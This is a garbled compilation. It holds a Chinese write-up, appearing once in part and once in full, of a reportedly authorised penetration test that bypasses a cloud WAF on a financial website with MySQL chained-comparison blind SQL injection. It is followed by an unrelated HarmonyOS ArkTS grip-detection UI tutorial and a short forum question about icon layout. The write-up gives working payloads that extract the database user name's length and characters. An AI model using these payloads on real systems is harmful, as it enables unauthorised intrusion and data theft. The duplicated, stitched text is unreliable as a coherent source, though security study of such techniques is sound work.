因为在mysql,oracle,pgsql中,oracle和pgsql并不能够使用链式比较方法,只有mysql中允许使用。当oracle和pgsql中使用,就会产生报错。

关于Mysql的链式比较的详细内容,后续笔者会再出一篇文章来详细论述。

根据上面的闭合可知

'=0='1  

自然也能成功闭合,此处响应包则无数据返回。

图片

整理上述信息,我们可以知道的是:

  • mysql的数据库
  • 存在阿里云盾
  • '=1\='1 服务器会返回全部数据*
  • '=0\=‘1 服务器会无数据返回
当两个等号之间的值为1时,就会返回正常查询的数据

两种不同的返回结果,成为了这次sql注入能拿到数据的钥匙。

窥其本质,0与1的差异就等效了布尔盲注。

图片

四、payload的简单介绍

为什么上述所构造的payload可以闭合与查询?

这里就涉及到了MySQL的链式比较规则。

在Mysql的数值比较中,1会被视为TRUE,0则会被视为false,其余如:-5、88、2.1等不变。

  • 若两个操作数都是字符串 则按照字符串进行比较。
  • 若两个操作数都是整数 则按照整数进行比较。
  • 若一个操作数为字符串,另一个操作数为数字,则MySQL可以自动将字符串转换为数字。

图片

当我们的输入拼接到sql语句当中的时候,就会开始运算,进行左结合运算

举个栗子:

SELECT * FROM users WHERE id=''=1='1'

假如id为10,则会变为

id=''=1='1'

这里就说明了凡是id不等于0的,都不会被查询出来。

*在该官网的案例中,所呈现的效果则相反,具体还是要看后端的sql查询是怎么写的。

五、获得当前用户名的长度

  • 我们的目标就是在两个等号之间插入sql语句,令它的值为0或者1。

先尝试判断数据库的长度,构造payload:

'=10-(length(current_user))='1  

发现有返回数据,可以证明该数据库用户名长度为9位。因为此时中间值计算为1,满足前面的出数据条件。

图片

——————————————————————————————

'=11-(length(current_user))='1

显示无数据,返回。因为中间的值并不为1,所以无数据。

图片

六、获得完整的当前用户名

想要进一步获得完整的用户名,所需要的难度就大很多了,而此处,很幸运,利用冷门函数POSITION(substring IN string)成功注入出了数据。

'=POSITION('x'+IN+current_user)='1   payload
函数介绍:

该函数会返回子字符串在主字符串中第一次出现的位置(从1开始计数)。如果子字符串不存在于主字符串中,则返回0。

例子:

SELECT POSITION('a'IN'appale');

哪怕重复出现,也只会返回第一次出现的位置,这就给我们爆破遍历 user名提供了非常有利的条件。

初步思路:我们只需要通过这个函数,来爆破遍历所有的大小写英文字母加上特殊字符,来看在什么情况下,响应包会返回正常查询数据(即两个等号之间运算的结果为1),从而就能知道usr名的第一个字符是什么。

图片

但此处又有个缺陷,这个函数的查询,并不会区分大小写,也就是哪怕匹配成功,也无法判断是大写的A还是小写的a。

于是我们又引入一个新的关键词,binary 该关键词的作用就是 严格强制区分大小写。

'=POSITION(binary+'x'+IN+current_user)='1

这个关键词的引入,令这个payload走向了完美。

此时我们通过遍历 ‘x’ 这个字符,即可确定user的第一位字符是e。

图片

当我们确定了第一位字符为“e”之后,就要准备第二个字符,修改payload

'=position(BINARY+'eξAξ'+in+current_user)='1

ξAξ 就是下一个需要爆破的字母,反复累积,就可以获得完整的current_user。这里就好比: 我们已经知道了e是第一个字母,然后我们再去尝试 ea,eb,ec.......当再次响应包返回正常数据的时候,就可以确认前两个字母一定是该爆破的结果。反复累加,类推。****

最后也是成功爆破出了结果。

图片

一、前言

在某次对金融单位官网的渗透测试(已授权)中,在一个查询处发现存在SQL注入,初步探测,发现存在阿里云waf,研究尝试后,成功手注绕过,并得到数据。 (这也是一个几个月前的案例了)

二、发现过程

图片

1个单引号报错,302跳转

2个单引号正常,200,有数据

3个单引号报错,302跳转

4个单引号正常,200,有数据

此时基本可以确定,此处存在sql注入漏洞,但是还无法判断是否能注入出数据。

进行简单的sql注入的payload尝试,发现被拦截:

图片

三、闭合构造和数据库类型判断

在发现sql注入后,首先需要的是尝试对该注入点进行闭合。

此处,通过使用链式比较的方法,成功闭合了该注入点,正常返回了数据。

'=1='1    链式比较,闭合成功

图片

返回了正常查询所显示的数据。

同时,我们也能确认,数据库的类型为Mysql。

为什么能做出这种判断?

图片

因为在mysql,oracle,pgsql中,oracle和pgsql并不能够使用链式比较方法,只有mysql中允许使用。当oracle和pgsql中使用,就会产生报错。

关于Mysql的链式比较的详细内容,后续笔者会再出一篇文章来详细论述。

根据上面的闭合可知

'=0='1  

自然也能成功闭合,此处响应包则无数据返回。

图片

整理上述信息,我们可以知道的是:

  • mysql的数据库
  • 存在阿里云盾
  • '=1\='1 服务器会返回全部数据*
  • '=0\=‘1 服务器会无数据返回
当两个等号之间的值为1时,就会返回正常查询的数据

两种不同的返回结果,成为了这次sql注入能拿到数据的钥匙。

窥其本质,0与1的差异就等效了布尔盲注。

图片

四、payload的简单介绍

为什么上述所构造的payload可以闭合与查询?

这里就涉及到了MySQL的链式比较规则。

在Mysql的数值比较中,1会被视为TRUE,0则会被视为false,其余如:-5、88、2.1等不变。

  • 若两个操作数都是字符串 则按照字符串进行比较。
  • 若两个操作数都是整数 则按照整数进行比较。
  • 若一个操作数为字符串,另一个操作数为数字,则MySQL可以自动将字符串转换为数字。

图片

当我们的输入拼接到sql语句当中的时候,就会开始运算,进行左结合运算

举个栗子:

SELECT * FROM users WHERE id=''=1='1'

假如id为10,则会变为

id=''=1='1'

这里就说明了凡是id不等于0的,都不会被查询出来。

*在该官网的案例中,所呈现的效果则相反,具体还是要看后端的sql查询是怎么写的。

五、获得当前用户名的长度

  • 我们的目标就是在两个等号之间插入sql语句,令它的值为0或者1。

先尝试判断数据库的长度,构造payload:

'=10-(length(current_user))='1  

发现有返回数据,可以证明该数据库用户名长度为9位。因为此时中间值计算为1,满足前面的出数据条件。

图片

——————————————————————————————

'=11-(length(current_user))='1

显示无数据,返回。因为中间的值并不为1,所以无数据。

图片

六、获得完整的当前用户名

想要进一步获得完整的用户名,所需要的难度就大很多了,而此处,很幸运,利用冷门函数POSITION(substring IN string)成功注入出了数据。

'=POSITION('x'+IN+current_user)='1   payload
函数介绍:

该函数会返回子字符串在主字符串中第一次出现的位置(从1开始计数)。如果子字符串不存在于主字符串中,则返回0。

例子:

SELECT POSITION('a'IN'appale');

哪怕重复出现,也只会返回第一次出现的位置,这就给我们爆破遍历 user名提供了非常有利的条件。

初步思路:我们只需要通过这个函数,来爆破遍历所有的大小写英文字母加上特殊字符,来看在什么情况下,响应包会返回正常查询数据(即两个等号之间运算的结果为1),从而就能知道usr名的第一个字符是什么。

图片

但此处又有个缺陷,这个函数的查询,并不会区分大小写,也就是哪怕匹配成功,也无法判断是大写的A还是小写的a。

于是我们又引入一个新的关键词,binary 该关键词的作用就是 严格强制区分大小写。

'=POSITION(binary+'x'+IN+current_user)='1

这个关键词的引入,令这个payload走向了完美。

此时我们通过遍历 ‘x’ 这个字符,即可确定user的第一位字符是e。

图片

当我们确定了第一位字符为“e”之后,就要准备第二个字符,修改payload

'=position(BINARY+'eξAξ'+in+current_user)='1

ξAξ 就是下一个需要爆破的字母,反复累积,就可以获得完整的current_user。这里就好比: 我们已经知道了e是第一个字母,然后我们再去尝试 ea,eb,ec.......当再次响应包返回正常数据的时候,就可以确认前两个字母一定是该爆破的结果。反复累加,类推。****

最后也是成功爆破出了结果。

图片

大家好,我是V哥。

你有没有遇到过这种情况:

左手拿着奶茶,右手刷新闻,结果头图永远在右边,点都点不到?

现在好了,系统能实时感知你是左手还是右手握持,UI 自动适配!这才是真正的“懂你”!

今天 V 哥就用一个新闻列表页面,带你 10 分钟搞定智感握姿的完整开发!能根据你拿手机的姿势,自动把图片和文字互换位置。代码全在一个页面,复制进去就能跑,绝对硬核!

技术原理:手机怎么知道那是你的左手?

其实很简单。你想想,当你用右手单手握持手机时,为了让大拇指够到屏幕左侧,手机通常会不由自主地向左倾斜一点点(或者向右倾斜,看个人习惯,通常我们设定一个倾斜阈值)。

咱们利用鸿蒙的 @ohos.sensor(传感器能力),监听重力变化。

  • 当检测到手机向左倾斜(X轴重力分量变化),判定为左手或左侧模式。
  • 当检测到手机向右倾斜,判定为右手或右侧模式。

话不多说,直接上干货。

实战代码:智感握姿新闻列表

先看一下 V 哥写的案例截图:

左手模式:

右手模式:

准备好你的 DevEco Studio,新建一个 ArkTS 页面,把下面的代码全选、复制、粘贴进去。

完整代码案例

import sensor from '@ohos.sensor';
import promptAction from '@ohos.promptAction';

// 1. 定义新闻数据模型
class NewsItem {
  id: number;
  title: string;
  summary: string;
  imageColor: Color; // 用颜色块代替图片,方便测试,不用找资源

  constructor(id: number, title: string, summary: string, color: Color) {
    this.id = id;
    this.title = title;
    this.summary = summary;
    this.imageColor = color;
  }
}

@Entry
@Component
struct SmartGripNewsPage {
  // 2. 状态变量
  // isRightMode: true 代表右手模式(图在右),false 代表左手模式(图在左)
  @State isRightMode: boolean = true;
  // 记录当前的倾斜角度X值,用于显示调试信息
  @State currentGravityX: number = 0;

  // 模拟新闻数据
  @State newsList: NewsItem[] = [
    new NewsItem(1, "鸿蒙Next正式发布", "纯血鸿蒙不再兼容安卓,开启移动操作系统新纪元。", Color.Blue),
    new NewsItem(2, "V哥聊技术", "深度解析ArkTS语言特性,带你弯道超车。", Color.Red),
    new NewsItem(3, "2026行业展望", "AI赛道爆发,普通程序员如何抓住最后的机会?", Color.Green),
    new NewsItem(4, "SpaceX星舰发射", "马斯克火星殖民计划又近了一步,震撼全人类。", Color.Orange),
    new NewsItem(5, "周末去哪儿玩", "发现城市周边的小众露营地,放松身心好去处。", Color.Pink),
  ];

  // 3. 页面加载时开启传感器监听
  aboutToAppear() {
    this.startSensor();
  }

  // 4. 页面销毁时关闭传感器,省电
  aboutToDisappear() {
    this.stopSensor();
  }

  // 开启传感器逻辑
  startSensor() {
    try {
      // 监听重力传感器,频率设置为 UI (适合UI交互的频率)
      sensor.on(sensor.SensorId.GRAVITY, (data) => {
        // data.x 代表 x 轴的重力分量
        // 当手机竖屏面对你:
        // 手机向右倾斜,x > 0
        // 手机向左倾斜,x < 0
        
        this.currentGravityX = data.x;

        // 设置一个阈值,防止轻微抖动就切换
        // 这里设置 1.5 为阈值,你可以根据手感调整
        if (data.x > 1.5) {
          // 向右倾斜,认为是右手握持或者想看右边
          if (this.isRightMode === false) {
            this.isRightMode = true;
            this.showToast("智感切换:右手模式");
          }
        } else if (data.x < -1.5) {
          // 向左倾斜,认为是左手握持
          if (this.isRightMode === true) {
            this.isRightMode = false;
            this.showToast("智感切换:左手模式");
          }
        }
      }, { interval: 100000000 }); // 100ms 一次回调
    } catch (err) {
      console.error("V哥提示:传感器启动失败,可能是模拟器不支持", err);
    }
  }

  // 关闭传感器
  stopSensor() {
    try {
      sensor.off(sensor.SensorId.GRAVITY);
    } catch (err) {
      console.error("V哥提示:传感器关闭失败", err);
    }
  }

  // 小提示弹窗
  showToast(msg: string) {
    promptAction.showToast({
      message: msg,
      duration: 1500,
      bottom: 100
    });
  }

  build() {
    Column() {
      // 顶部标题栏
      Row() {
        Text("智感新闻")
          .fontSize(24)
          .fontWeight(FontWeight.Bold)
        Blank()
        // 显示当前模式状态
        Text(this.isRightMode ? "当前:右手模式" : "当前:左手模式")
          .fontSize(14)
          .fontColor(Color.Gray)
      }
      .width('100%')
      .padding(20)
      .height(60)
      .backgroundColor('#F1F3F5')

      // 调试信息(正式上线可以去掉)
      Text(`重力X轴感应值: ${this.currentGravityX.toFixed(2)}`)
        .fontSize(12)
        .fontColor(Color.Gray)
        .margin({ bottom: 10 })

      // 新闻列表
      List({ space: 15 }) {
        ForEach(this.newsList, (item: NewsItem) => {
          ListItem() {
            // 核心布局:根据 isRightMode 决定布局方向
            // Direction.Ltr (Left to Right) 或者是 Rtl
            // 这里我们用 Flex 或者 Row 手动控制顺序更稳
            this.NewsItemBuilder(item)
          }
        })
      }
      .width('100%')
      .layoutWeight(1) // 占满剩余空间
      .padding({ left: 15, right: 15 })
    }
    .width('100%')
    .height('100%')
  }

  // 自定义构建函数,处理单个新闻的布局
  @Builder
  NewsItemBuilder(item: NewsItem) {
    Row() {
      // 这里的逻辑:
      // 如果是左手模式(isRightMode=false),图片在左,文字在右
      // 如果是右手模式(isRightMode=true),文字在左,图片在右
      // 利用 Row 的 direction 属性或者简单的 if/else 渲染顺序

      if (!this.isRightMode) {
        // 左手模式:图 -> 文
        this.ImageBlock(item.imageColor)
        this.TextBlock(item)
      } else {
        // 右手模式:文 -> 图
        this.TextBlock(item)
        this.ImageBlock(item.imageColor)
      }
    }
    .width('100%')
    .height(100)
    .backgroundColor(Color.White)
    .borderRadius(10)
    .shadow({ radius: 5, color: 0x1F000000, offsetY: 2 })
    .padding(10)
    // 添加一个顺滑的动画效果
    .animation({
      duration: 300,
      curve: Curve.EaseInOut
    })
  }

  // 抽取图片组件
  @Builder
  ImageBlock(color: Color) {
    // 模拟图片
    Stack() {
      Text("头图")
        .fontColor(Color.White)
        .fontSize(12)
    }
    .width(100)
    .height('100%')
    .backgroundColor(color)
    .borderRadius(8)
    .margin(this.isRightMode ? { left: 10 } : { right: 10 }) // 根据位置给间距
  }

  // 抽取文字组件
  @Builder
  TextBlock(item: NewsItem) {
    Column() {
      Text(item.title)
        .fontSize(16)
        .fontWeight(FontWeight.Bold)
        .maxLines(1)
        .textOverflow({ overflow: TextOverflow.Ellipsis })
        .width('100%')
      
      Text(item.summary)
        .fontSize(14)
        .fontColor(Color.Gray)
        .maxLines(2)
        .textOverflow({ overflow: TextOverflow.Ellipsis })
        .margin({ top: 5 })
        .width('100%')
    }
    .layoutWeight(1) // 占满剩余宽度
    .height('100%')
    .justifyContent(FlexAlign.Start)
    .alignItems(HorizontalAlign.Start)
  }
}

代码深度解析(V哥掰碎了讲)

兄弟们,代码贴完了,V哥给你捋一捋这里的核心门道,面试或者做项目的时候都能吹一波。

1. 传感器监听 (sensor.on)
这是整个功能的灵魂。我们用了 sensor.SensorId.GRAVITY

  • data.x 是关键。当你拿着手机往左歪(像是左手拿着手机想看左边屏幕)时,X轴会变负数;往右歪时,X轴变正数。
  • 这里我加了个阈值 1.5。为啥?如果不加阈值,你的手稍微抖一下,界面就左右乱跳,用户得气死。1.5 是个经验值,大约倾斜 15-20 度左右触发,既灵敏又不会误触。

2. 状态驱动 UI (@State isRightMode)
鸿蒙 ArkUI 的精髓就是状态驱动

  • 我们不需要去手动搬运组件。只要改变 isRightMode 这个布尔值,UI 就会自动刷新。
  • 配合 .animation 属性,当组件位置互换时,不会生硬地“闪现”,而是会有一个滑动的过渡效果,高级感立马就来了。

3. 条件渲染 (if/else)
NewsItemBuilder 里,V哥用了一个最笨但最有效的方法:

  • 如果是左手模式:先渲染图片组件,再渲染文字组件。
  • 如果是右手模式:先渲染文字组件,再渲染图片组件。
  • 因为是在 Row 容器里,渲染顺序直接决定了谁在左谁在右。

怎么测试?

  1. 真机测试(推荐):把代码烧录到鸿蒙手机上。拿着手机向左倾斜一下,你会发现图片“刷”一下跑到左边了;向右倾斜一下,图片又跑回右边了。
  2. 模拟器测试:DevEco Studio 的模拟器通常有个“虚拟传感器”面板。你可以手动拖动重力传感器的 X 轴滑块,模拟手机倾斜,看界面会不会变。

V哥的最后唠叨

兄弟们,这个功能虽然代码不多,但体现的是以人为本的设计思维。

这就是鸿蒙 Next 开发好玩的地方,硬件能力调用极其简单。2026年,不管是做应用还是做系统,交互体验永远是核心竞争力。

赶紧把这代码跑起来,以后老板让你做“适老化”或者“单手模式”,你把这个 Demo 一亮,绝对惊艳全场!祝大家发码愉快,没有 Bug!

以前极简,桌面加文件夹才 5 个,就将就用了,现在,我 XXXXX

竖屏排的图标,按这个顺序



横屏的顺序就乱七八糟了,我还只有两排,我想知道图标多的人,是怎么在横竖之间快速找到的。